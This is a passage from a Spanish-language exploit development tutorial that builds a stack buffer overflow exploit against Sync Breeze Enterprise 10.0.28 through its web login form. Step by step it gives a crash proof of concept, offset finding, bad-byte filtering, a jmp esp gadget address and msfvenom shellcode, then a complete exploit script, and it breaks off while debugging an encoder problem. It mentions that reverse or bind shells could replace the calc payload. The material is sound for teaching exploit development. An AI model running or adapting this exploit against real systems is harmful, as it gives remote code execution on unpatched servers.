Una vez entendimos los fundamentos básicos de explotación y el porque se ocasiona un Buffer Overflow podemos intentar explotar una aplicación, aunque hay algunos binarios de CTFs para aprender probablemente sea mejor explotar una aplicación real con un poco mas de complejidad para desarrollar la logica de explotación.
Contenido
Exploit Development

Stack Overflow

Configuration
La aplicación utilizada será Sync Breeze EnterPrise 10.0.28 el cual nos servirá como aplicación a explotar, usando el instalador es fácil de instalar solo con siguiente.

Ésta aplicación crea un servicio llamado Sync Breeze Enterprise que podemos ver con el comando services.msc, algo a tener en cuenta es que cuando crashea el programa no basta con abrirlo de nuevo sino que debemos reiniciar este servicio, algo que hacemos es modificar el usuario que lo corre a un usuario local, esto no es necesario pero facilita el que el programa pueda interactuar con el escritorio.

También será necesario habilitar el servidor web ya que ahí ocurre la vulnerabilidad.

Una vez hecho esto podemos simplemente sincronizarnos al proceso syncbrs.exe.

Crashing Application
Existen múltiples formas de encontrar una vulnerabilidad de corrupción de memoria, algunas de las mas comunes son las siguientes:
• Fuzzing: Consiste en enviar múltiples patrones de caracteres en todos los campos donde se pueda introducir un input para asi intentar corromper el programa.
• Reversing: Consiste en desensamblar el programa para entender su funcionamiento y buscar las vulnerabilidades usando solo el código fuente de la aplicación.
Las técnicas anteriormente mencionadas son algo extensas y necesitaran su propio post para explicarlas asi que por ahora usaremos como base un exploit que se puede encontrar en exploitdb e intentaremos explotar la aplicación a partir solo del poc.
#!/usr/bin/python3
from pwn import remote
payload = b"A" * 1000
data = b"username=username&password=" + payload
content = b""
content += b"POST /login HTTP/1.1\r\n"
content += b"Content-Type: application/x-www-form-urlencoded\r\n"
content += b"Content-Length: " + str(len(data)).encode() + b"\r\n\r\n"
content += data
shell = remote("Windows", 80)
shell.send(content)
Al ejecutar el poc como vimos en fundamentos lo que pasara es que se sobrescribe una dirección de retorno en el stack y el registro eip termina apuntando a 0x41414141 que es el valor de AAAA en hex, el programa no encuentra la dirección y corrompe.
❯ python3 exploit.py
[+] Opening connection to Windows on port 80: Done
[*] Closed connection to Windows port 80
0:000> g
(16bc.1924): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00000000 ecx=00709ddc edx=00000350 esi=006fc4ce edi=010533f0
eip=41414141 esp=01c0744c ebp=006fe420 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
41414141 ?? ???
Find Offset
Nuestra idea es tener control sobre el registro eip pero para ello necesitamos cuantos bytes se necesitan antes de llegar a él, para ello podemos usar cyclic y crear un patrón de caracteres que nos ayudaran a encontrar esa cantidad de bytes.
❯ cyclic 1000
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaaj
Ahora cambiamos las 1000 A's del payload por este patrón y enviamos el exploit.
#!/usr/bin/python3
from pwn import remote, cyclic
payload = cyclic(1000)
data = b"username=username&password=" + payload
content = b""
content += b"POST /login HTTP/1.1\r\n"
content += b"Content-Type: application/x-www-form-urlencoded\r\n"
content += b"Content-Length: " + str(len(data)).encode() + b"\r\n\r\n"
content += data
shell = remote("Windows", 80)
shell.send(content)
Algo a tener en cuenta es que cuando queremos volver a ejecutar la aplicación despues de que corrompe necesitamos reiniciar el servicio y volver a sincronizarnos.

Una vez enviado el exploit el programa corrompe sin embargo ahora no apunta a 0x41414141 sino a 0x66616166 que es parte del patrón de caracteres de cyclic.
0:000> g
(2acc.4bc4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00000000 ecx=007ff2ac edx=00000350 esi=007f69b6 edi=018379e8
eip=66616166 esp=02227450 ebp=007f2cf0 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
66616166 ?? ???
Ya que sabemos esto podemos usar cyclic -l para calcular la cantidad de bytes necesarios antes de poder controlar el registro eip, que son 520 bytes.
❯ cyclic -l 0x66616166
520
Ya que sabemos el offset podemos enviar 520 A's hasta antes de controlar el eip que lo haremos con 4 B's y enviaremos 300 C's adicionales que se deberian guardar justo donde inicia el stack por lo que el esp deberia apuntar a esas C's.
#!/usr/bin/python3
from pwn import remote
offset = 520
junk = b"A" * offset
payload = b""
payload += junk
payload += b"B" * 4
payload += b"C" * 300
data = b"username=username&password=" + payload
content = b""
content += b"POST /login HTTP/1.1\r\n"
content += b"Content-Type: application/x-www-form-urlencoded\r\n"
content += b"Content-Length: " + str(len(data)).encode() + b"\r\n\r\n"
content += data
shell = remote("Windows", 80)
shell.send(content)
Al ejecutar el exploit el programa corrompe y el eip apunta a 0x42424242 o BBBB.
0:000> g
(1fc4.1db4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00000000 ecx=006b02c4 edx=00000350 esi=006a976e edi=01036ac8
eip=42424242 esp=01c0744c ebp=006a4920 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
42424242 ?? ???
Un problema especificamente de este programa y no de otros es que el esp apunta a 0x01c0744c sin embargo las C's inician en 0x01c07448 que esta 4 bytes antes por lo que se pierde un dword y si esto fuera un shellcode quitaria algunas instrucciones.
0:000> dds esp - 8 L5
01c07444 42424242 (esp - 8)
01c07448 43434343 (esp - 4) [dword lost]
01c0744c 43434343 (esp + 0)
01c07450 43434343 (esp + 4)
01c07454 43434343 (esp + 8)
Para evitar ese problema agregaremos 4 C's que seran el dword que se pierde y justo después 300 D's que se deberian guardar en el stack donde apunta el esp.
#!/usr/bin/python3
from pwn import remote
offset = 520
junk = b"A" * offset
payload = b""
payload += junk
payload += b"B" * 4
payload += b"C" * 4
payload += b"D" * 300
data = b"username=username&password=" + payload
content = b""
content += b"POST /login HTTP/1.1\r\n"
content += b"Content-Type: application/x-www-form-urlencoded\r\n"
content += b"Content-Length: " + str(len(data)).encode() + b"\r\n\r\n"
content += data
shell = remote("Windows", 80)
shell.send(content)
Si miramos la memoria, ahora la dirección del esp apunta justo donde estan las D's.
0:000> dds esp - 8 L5
008e7444 42424242 (esp - 8)
008e7448 43434343 (esp - 4) [dword lost]
008e744c 44444444 (esp + 0)
008e7450 44444444 (esp + 4)
008e7454 44444444 (esp + 8)
0:000> db esp
008e744c 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
008e745c 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
008e746c 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
008e747c 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
008e748c 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
008e749c 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
008e74ac 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
008e74bc 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
Find Badbytes
Algo importante es detectar bytes que puedan dar problemas, ya que es posible que el programa tenga problemas con algunos caracteres especificos y cortar la cadena, si ésto pasa en un shellcode eliminará muchas de las instrucciones y no se ejecutará.
❯ python3 -q
>>> bytes(range(0, 256))
b'\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff'
>>>
Modificamos el exploit para que en lugar de guardar D's en el stack guarde nuestro bytearray de los 256 posibles caracteres para después comparar 256 bytes de esa direccion de memoria con los bytes originalmente desde 0x00 hasta 0xff, si uno de ellos se ve modificado o tiene un valor diferente significa que hubo un problema.
#!/usr/bin/python3
from pwn import remote
offset = 520
junk = b"A" * offset
badbytes = bytes(range(0, 256))
payload = b""
payload += junk
payload += b"B" * 4
payload += b"C" * 4
payload += badbytes
data = b"username=username&password=" + payload
content = b""
content += b"POST /login HTTP/1.1\r\n"
content += b"Content-Type: application/x-www-form-urlencoded\r\n"
content += b"Content-Length: " + str(len(data)).encode() + b"\r\n\r\n"
content += data
shell = remote("Windows", 80)
shell.send(content)
Al enviar el exploit los 256 bytes se deberían almacenar en el stack, pero al revisar la memoria podemos ver que el único byte que coincide con nuestro array original es 0x00 y el resto de bytes ni siquiera se alcanzaron a escribir, sin embargo ésto pasa porque 0x00 o null byte se usa para indicar la terminación de una string por lo que todo lo que esta delante de él no se escribe, nuestro primer badbyte es 0x00.
0:000> db esp
00aa7450 00 60 5e 00 e8 79 83 01-f0 7d 83 01 a0 73 83 01 .`^..y...}...s..
00aa7460 e8 79 83 01 06 00 00 00-0c ab aa 00 00 00 00 00 .y..............
00aa7470 00 00 00 00 00 fd e1 00-01 00 00 00 00 00 00 00 ................
00aa7480 00 00 00 00 00 00 00 00-02 00 00 00 20 6b 5f 00 ............ k_.
00aa7490 0b 00 00 00 00 00 00 00-00 00 00 00 80 f4 e1 00 ................
00aa74a0 01 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
00aa74b0 c8 d0 aa 00 fc aa aa 00-74 74 aa 00 00 00 00 00 ........tt......
00aa74c0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
Lo que hacemos es crear un nuevo bytearray que omita el byte 0x00, usando la propiedad translate podemos eliminar bytes específicos, ya que sabemos que nos traerá problemas quitamos el null byte de nuestro array dentro del exploit.
badbytes = bytes(range(0, 256)).translate(None, b"\x00")
Enviamos el exploit y al comparar stack con el array original los bytes desde 0x00 hasta 0x09 no se ven modificados, sin embargo el byte donde se esperaba 0x0a no tiene ese valor y en su lugar tiene 0x00 además el resto de bytes tampoco se escribieron, y como corta nuestro payload podemos considerarlo otro badbyte.
0:000> db esp
02267450 01 02 03 04 05 06 07 08-09 00 87 01 b0 6e 87 01 .............n..
02267460 f0 77 87 01 06 00 00 00-0c ab 26 02 00 00 00 00 .w........&.....
02267470 00 00 00 00 00 fd cb 00-01 00 00 00 00 00 00 00 ................
02267480 00 00 00 00 00 00 00 00-02 00 00 00 90 92 7a 00 ..............z.
02267490 0b 00 00 00 00 00 00 00-00 00 00 00 80 f4 cb 00 ................
022674a0 01 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
022674b0 c8 d0 26 02 fc aa 26 02-74 74 26 02 00 00 00 00 ..&...&.tt&.....
022674c0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
Ya que da problemas el siguiente byte que quitamos es 0x0a y el proceso se repite, revisamos la memoria y en ésta ocasión luego de omitir el byte 0x0a los siguientes bytes parecen normales pero solo antes de 0x0d el cual se encuentra corrupto.
badbytes = bytes(range(0, 256)).translate(None, b"\x00\x0a")
0:000> db esp
020d7450 01 02 03 04 05 06 07 08-09 0b 0c 00 b0 6f 8a 01 .............o..
020d7460 f0 77 8a 01 06 00 00 00-0c ab 0d 02 00 00 00 00 .w..............
020d7470 00 00 00 00 00 fd d3 00-01 00 00 00 00 00 00 00 ................
020d7480 00 00 00 00 00 00 00 00-02 00 00 00 f8 fc 5a 00 ..............Z.
020d7490 0b 00 00 00 00 00 00 00-00 00 00 00 80 f4 d3 00 ................
020d74a0 01 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
020d74b0 c8 d0 0d 02 fc aa 0d 02-74 74 0d 02 00 00 00 00 ........tt......
020d74c0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
Este proceso puede ser algo repetitivo, ya que se debe hacer las veces que sean necesarias hasta eliminar todos los badbytes que pueden ocasionarnos problemas, en este caso al terminar este proceso nos quedamos con 7 badbytes y lo que buscamos es que el array de bytes que enviamos se muestre integro en la memoria indicando que ninguno de los bytes fue corrupto y podemos usarlos en el payload.
badbytes = bytes(range(0, 256)).translate(None, b"\x00\x0a\x0d\x25\x26\x2b\x3d")
0:000> db esp L100
021f7450 01 02 03 04 05 06 07 08-09 0b 0c 0e 0f 10 11 12 ................
021f7460 13 14 15 16 17 18 19 1a-1b 1c 1d 1e 1f 20 21 22 ............. !"
021f7470 23 24 27 28 29 2a 2c 2d-2e 2f 30 31 32 33 34 35 #$'()*,-./012345
021f7480 36 37 38 39 3a 3b 3c 3e-3f 40 41 42 43 44 45 46 6789:;<>?@ABCDEF
021f7490 47 48 49 4a 4b 4c 4d 4e-4f 50 51 52 53 54 55 56 GHIJKLMNOPQRSTUV
021f74a0 57 58 59 5a 5b 5c 5d 5e-5f 60 61 62 63 64 65 66 WXYZ[\]^_`abcdef
021f74b0 67 68 69 6a 6b 6c 6d 6e-6f 70 71 72 73 74 75 76 ghijklmnopqrstuv
021f74c0 77 78 79 7a 7b 7c 7d 7e-7f 80 81 82 83 84 85 86 wxyz{|}~........
021f74d0 87 88 89 8a 8b 8c 8d 8e-8f 90 91 92 93 94 95 96 ................
021f74e0 97 98 99 9a 9b 9c 9d 9e-9f a0 a1 a2 a3 a4 a5 a6 ................
021f74f0 a7 a8 a9 aa ab ac ad ae-af b0 b1 b2 b3 b4 b5 b6 ................
021f7500 b7 b8 b9 ba bb bc bd be-bf c0 c1 c2 c3 c4 c5 c6 ................
021f7510 c7 c8 c9 ca cb cc cd ce-cf d0 d1 d2 d3 d4 d5 d6 ................
021f7520 d7 d8 d9 da db dc dd de-df e0 e1 e2 e3 e4 e5 e6 ................
021f7530 e7 e8 e9 ea eb ec ed ee-ef f0 f1 f2 f3 f4 f5 f6 ................
021f7540 f7 f8 f9 fa fb fc fd fe-ff 00 00 00 00 00 00 00 ................
¿Porqué estos bytes dan problemas?, los badbytes dependen de cada programa y el campo donde ocurre la vulnerabilidad, en este caso los badbytes son debido a que el caracter en ascii puede dar problemas con la petición ya que es a través de una peticion POST que ocurre en la autenticación del servidor web como pueden serlo:
• 0x00 o \0: El null byte puede indicar que termina una cadena por lo que los bytes que esten después pueden no llegar a escribirse correctamente.
• 0x0a o \n: El salto de linea en este contexto a través de una petición puede indicar que el contenido de la petición POST ha terminado.
• 0x0d o \r: El retorno de carro en este contexto similar a lo anterior puede indicar que el contenido de la data POST ha terminado.
• 0x25 o % : El simbolo de porcentaje puede tener como significado que los 2 bytes siguientes seran enviados como uno solo tomado como valor hexadecimal.
• 0x26 o & : El simbolo de ampersand puede indicar que se enviará otro parámetro por lo que los siguientes bytes no se enviaran como valor del campo password.
• 0x2b o + : El simbolo de suma tambien puede representar un espacio en el contexto de peticiones web como lo es este caso de explotación.
• 0x3d o = : El simbolo de igual puede indicar que lo siguiente es el valor del parametro enviado por lo que tambien puede representar un problema.
Find Opcode
Sabemos que lo que enviemos despues de filler se guardará en el stack, por lo que si enviamos un shellcode que ejecute un comando solo necesitamos ejecutar lo que está en el stack, cuando no hay protecciones como DEP o ASLR que veremos mas adelante solo necesitamos encontrar un gadget de alguna parte de los módulos que sea ejecutable y que ejecute lo que esta en el esp, estos pueden ser algo como:
• jmp esp;: Es la más comun, simplemente salta al registro esp por lo que ejecuta todas las instrucciones que esten almacenadas en el stack.
• call esp;: Hace algo similar al opcode pasado solo que en lugar de usar jmp para saltar usa call para llamarlo como si fuera una función.
• push esp; ret;: Al hacer un push guarda en el stack la dirección del esp y al ejecutar el ret tomara esa dirección como retorno por lo que ejecutara lo que este ahi.
Para encontrar un gadget que ejecute algunas de éstas instrucciones primero necesitamos saber que módulos carga el programa que pertenezcan a el y no al sistema para esto podemos usar lm, los módulos del programa a diferencia de los del sistema podemos diferenciarlos por la ruta donde se encuentran, en éste caso para el programa encontramos cargado el ejecutable y 3 librerias .dll.
0:000> lm f
start end module name
00400000 00462000 syncbrs C:\Program Files (x86)\Sync Breeze Enterprise\bin\syncbrs.exe
00c20000 00cf4000 libpal C:\Program Files (x86)\Sync Breeze Enterprise\bin\libpal.dll
00d00000 00db4000 libsync C:\Program Files (x86)\Sync Breeze Enterprise\bin\libsync.dll
10000000 10223000 libspp C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll
6f000000 6f0a7000 odbc32 C:\Windows\System32\odbc32.dll
722c0000 722eb000 sspiCli C:\Windows\System32\sspicli.dll
............................................................
76cf0000 76df7000 crypt32 C:\Windows\System32\crypt32.dll
76f30000 770ef000 ntdll C:\WINDOWS\System32\ntdll.dll
Normalmente podemos usar cualquiera de los módulos que dependan del programa y no del sistema, sin embargo algo que hay que tener en cuenta son las protecciones, usando !dh y la dirección del módulo syncbrs.exe podemos ver que el campo DLL characteristics vale 0 indicando que no hay protecciones habilitadas en el binario.
0:000> !dh 0x00400000
File Type: EXECUTABLE IMAGE
.............................
OPTIONAL HEADER VALUES
00400000 image base
1000 section alignment
1000 file alignment
3 subsystem (Windows CUI)
4.00 operating system version
0.00 image version
4.00 subsystem version
62000 size of image
1000 size of headers
0 checksum
00100000 size of stack reserve
00001000 size of stack commit
00100000 size of heap reserve
00001000 size of heap commit
0 DLL characteristics
.............................
Para verlo en contraste podemos hacer lo mismo pero utilizando la dirección del módulo ntdll.dll, en el campo DLL characteristics tiene el valor 0x4140 y ésto se traduce a que las siguientes 3 protecciones se encuentran habilitadas en el módulo:
• ASLR: Representado como Dynamic base, si está habilitada el módulo obtiene una dirección base aleatoria cada vez que se reinicia el sistema operativo.
• DEP: Representado como NX compatible, si está habilitada las regionas de memoria usadas para datos (como el stack) son marcadas como no ejecutables.
• CFG: Representado como Guard, si está habilitada se añaden comprobaciones de seguridad antes de las llamadas a funciones indirectas para validar el destino.
0:000> !dh 0x76f30000
File Type: DLL
.............................
OPTIONAL HEADER VALUES
76f30000 image base
1000 section alignment
200 file alignment
3 subsystem (Windows CUI)
10.00 operating system version
10.00 image version
10.00 subsystem version
1BF000 size of image
400 size of headers
1BC664 checksum
00040000 size of stack reserve
00001000 size of stack commit
00100000 size of heap reserve
00001000 size of heap commit
4140 DLL characteristics
Dynamic base
NX compatible
Guard
.............................
Aunque hay métodos para bypassear éstas protecciones que veremos más adelante, lo más simple es buscar módulos del programa que no las tengan habilitadas, antes vimos que syncbrs.exe no tiene esas protecciones pero se presenta un problema, su dirección base es 0x00400000, lo que implica que si buscamos un gadget ahí siempre va a empezar con el byte 0x00 que sabemos es un badbyte, en su lugar podemos ocupar librerías, por ejemplo libspp.dll, que es del propio programa y tiene un valor de 0 en DLL characteristics así que tampoco tiene protecciones habilitadas.
0:000> lm fm syncbrs
Browse full module list
start end module name
00400000 00462000 syncbrs C:\Program Files (x86)\Sync Breeze Enterprise\bin\syncbrs.exe
0:000> lm fm libspp
Browse full module list
start end module name
10000000 10223000 libspp C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll
0:000> !dh 0x10000000
File Type: DLL
.............................
OPTIONAL HEADER VALUES
10000000 image base
1000 section alignment
1000 file alignment
2 subsystem (Windows GUI)
4.00 operating system version
0.00 image version
4.00 subsystem version
223000 size of image
1000 size of headers
0 checksum
00100000 size of stack reserve
00001000 size of stack commit
00100000 size of heap reserve
00001000 size of heap commit
0 DLL characteristics
.............................
Ya que tenemos un módulo que no inicia con 0x00 y no tiene ninguna protección podemos usar ropper para encontrar un gadget que nos ayude a saltar al registro esp, encontramos varios gadgets y deberiamos poder usar cualquiera de ellos.
❯ ropper --file libspp.dll --badbytes "000a0d25262b3d" --jmp esp
JMP Instructions
================
0x10090c83: jmp esp;
0x100bb515: push esp; ret;
0x100e1cf2: push esp; ret;
0x10138c27: push esp; ret;
4 gadgets found
Encoder Problem
Una vez tenemos el gadget podemos generar un shellcode com msfvenom que nos ejecute un comando, en éste caso por simplicidad ejecutaremos calc.exe pero podriamos enviarnos perfectamente una reverse shell o ejecutar una bind shell.
❯ msfvenom -p windows/exec CMD=calc.exe -f python -v shellcode -b '\x00\x0a\x0d\x25\x26\x2b\x3d'
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 12 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 220 (iteration=0)
x86/shikata_ga_nai chosen with final size 220
Payload size: 220 bytes
Final size of python file: 1237 bytes
shellcode = b""
shellcode += b"\xda\xc0\xbb\xa8\xaf\x03\xb8\xd9\x74\x24\xf4"
shellcode += b"\x5a\x31\xc9\xb1\x31\x31\x5a\x18\x83\xea\xfc"
shellcode += b"\x03\x5a\xbc\x4d\xf6\x44\x54\x13\xf9\xb4\xa4"
shellcode += b"\x74\x73\x51\x95\xb4\xe7\x11\x85\x04\x63\x77"
shellcode += b"\x29\xee\x21\x6c\xba\x82\xed\x83\x0b\x28\xc8"
shellcode += b"\xaa\x8c\x01\x28\xac\x0e\x58\x7d\x0e\x2f\x93"
shellcode += b"\x70\x4f\x68\xce\x79\x1d\x21\x84\x2c\xb2\x46"
shellcode += b"\xd0\xec\x39\x14\xf4\x74\xdd\xec\xf7\x55\x70"
shellcode += b"\x67\xae\x75\x72\xa4\xda\x3f\x6c\xa9\xe7\xf6"
shellcode += b"\x07\x19\x93\x08\xce\x50\x5c\xa6\x2f\x5d\xaf"
shellcode += b"\xb6\x68\x59\x50\xcd\x80\x9a\xed\xd6\x56\xe1"
shellcode += b"\x29\x52\x4d\x41\xb9\xc4\xa9\x70\x6e\x92\x3a"
shellcode += b"\x7e\xdb\xd0\x65\x62\xda\x35\x1e\x9e\x57\xb8"
shellcode += b"\xf1\x17\x23\x9f\xd5\x7c\xf7\xbe\x4c\xd8\x56"
shellcode += b"\xbe\x8f\x83\x07\x1a\xdb\x29\x53\x17\x86\x27"
shellcode += b"\xa2\xa5\xbc\x05\xa4\xb5\xbe\x39\xcd\x84\x35"
shellcode += b"\xd6\x8a\x18\x9c\x93\x65\x53\xbd\xb5\xed\x3a"
shellcode += b"\x57\x84\x73\xbd\x8d\xca\x8d\x3e\x24\xb2\x69"
shellcode += b"\x5e\x4d\xb7\x36\xd8\xbd\xc5\x27\x8d\xc1\x7a"
shellcode += b"\x47\x84\xa1\x1d\xdb\x44\x08\xb8\x5b\xee\x54"
Nuestro exploit consiste en enviar A's hasta antes de controlar el registro eip, en él ejecutaremos un jmp esp y como en el stack se guarda nuestro shellcode generado con msfvenom, éste deberia ejecutarse y lanzar una calculadora, la función p32 de pwntools nos sirve para empaquetar la dirección utilizando el formato little endian.
#!/usr/bin/python3
from pwn import remote, p32
offset = 520
junk = b"A" * offset
shellcode = b""
shellcode += b"\xda\xc0\xbb\xa8\xaf\x03\xb8\xd9\x74\x24\xf4"
shellcode += b"\x5a\x31\xc9\xb1\x31\x31\x5a\x18\x83\xea\xfc"
shellcode += b"\x03\x5a\xbc\x4d\xf6\x44\x54\x13\xf9\xb4\xa4"
shellcode += b"\x74\x73\x51\x95\xb4\xe7\x11\x85\x04\x63\x77"
shellcode += b"\x29\xee\x21\x6c\xba\x82\xed\x83\x0b\x28\xc8"
shellcode += b"\xaa\x8c\x01\x28\xac\x0e\x58\x7d\x0e\x2f\x93"
shellcode += b"\x70\x4f\x68\xce\x79\x1d\x21\x84\x2c\xb2\x46"
shellcode += b"\xd0\xec\x39\x14\xf4\x74\xdd\xec\xf7\x55\x70"
shellcode += b"\x67\xae\x75\x72\xa4\xda\x3f\x6c\xa9\xe7\xf6"
shellcode += b"\x07\x19\x93\x08\xce\x50\x5c\xa6\x2f\x5d\xaf"
shellcode += b"\xb6\x68\x59\x50\xcd\x80\x9a\xed\xd6\x56\xe1"
shellcode += b"\x29\x52\x4d\x41\xb9\xc4\xa9\x70\x6e\x92\x3a"
shellcode += b"\x7e\xdb\xd0\x65\x62\xda\x35\x1e\x9e\x57\xb8"
shellcode += b"\xf1\x17\x23\x9f\xd5\x7c\xf7\xbe\x4c\xd8\x56"
shellcode += b"\xbe\x8f\x83\x07\x1a\xdb\x29\x53\x17\x86\x27"
shellcode += b"\xa2\xa5\xbc\x05\xa4\xb5\xbe\x39\xcd\x84\x35"
shellcode += b"\xd6\x8a\x18\x9c\x93\x65\x53\xbd\xb5\xed\x3a"
shellcode += b"\x57\x84\x73\xbd\x8d\xca\x8d\x3e\x24\xb2\x69"
shellcode += b"\x5e\x4d\xb7\x36\xd8\xbd\xc5\x27\x8d\xc1\x7a"
shellcode += b"\x47\x84\xa1\x1d\xdb\x44\x08\xb8\x5b\xee\x54"
payload = b""
payload += junk
payload += p32(0x10090c83) # jmp esp;
payload += b"C" * 4 # padding
payload += shellcode
data = b"username=username&password=" + payload
content = b""
content += b"POST /login HTTP/1.1\r\n"
content += b"Content-Type: application/x-www-form-urlencoded\r\n"
content += b"Content-Length: " + str(len(data)).encode() + b"\r\n\r\n"
content += data
shell = remote("Windows", 80)
shell.send(content)
Sin embargo esto no pasa y el debugger nos muestra que en algun lugar de la ejecución intento ejecutar una instrucción que provocó un Access violation.
0:000> g
(1354.1d30): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=b803afa8 ecx=0056f30c edx=00000350 esi=0056899e edi=01086ac8
eip=01c27457 esp=01c2744c ebp=00562bd0 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
01c27457 0000 add byte ptr [eax],al ds:002b:00000001=??
Para entender porqué pasa esto establecemos un breakpoint en la dirección que ejecuta jmp esp y enviamos de nuevo el exploit, ahora podemos desensamblar las instrucciones usando u y analizar cuál de ellas está ocasionando el problema.
0:000> bp 0x10090c83
0:000> g
Breakpoint 0 hit
eax=00000001 ebx=00000000 ecx=0076d654 edx=00000350 esi=00767d56 edi=010b6ac8
eip=10090c83 esp=01c1744c ebp=00768ce8 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
libspp!SCA_FileScout::GetStatusValue+0xb3:
10090c83 ffe4 jmp esp {01c1744c}
0:000> u esp
01c1744c dac0 fcmovb st,st(0)
01c1744e bba8af03b8 mov ebx,0B803AFA8h
01c17453 d97424f4 fnstenv [esp-0Ch]
01c17457 5a pop edx
01c17458 31c9 xor ecx,ecx
01c1745a b131 mov cl,31h
01c1745c 315a18 xor dword ptr [edx+18h],ebx
01c1745f 83eafc sub edx,0FFFFFFFCh
La instrucción que esta ocasionando el error es fnstenv, leyendo documentación podemos ver que guarda 28 bytes del estado del FPU, ¿cual es el problema? que lo está escribiendo en esp - 0xc o esp - 12 por lo que escribe 12 bytes antes del stack y 16 bytes despues del stack que probablemente sobrescriben el shellcode.
fnstenv [esp-0Ch]
Para verlo un poco mejor veamos el contenido del stack antes y después de ésta instrucción, ahora mismo en el stack se encuentra almacenado nuestro shellcode.
0:000> dds esp L6
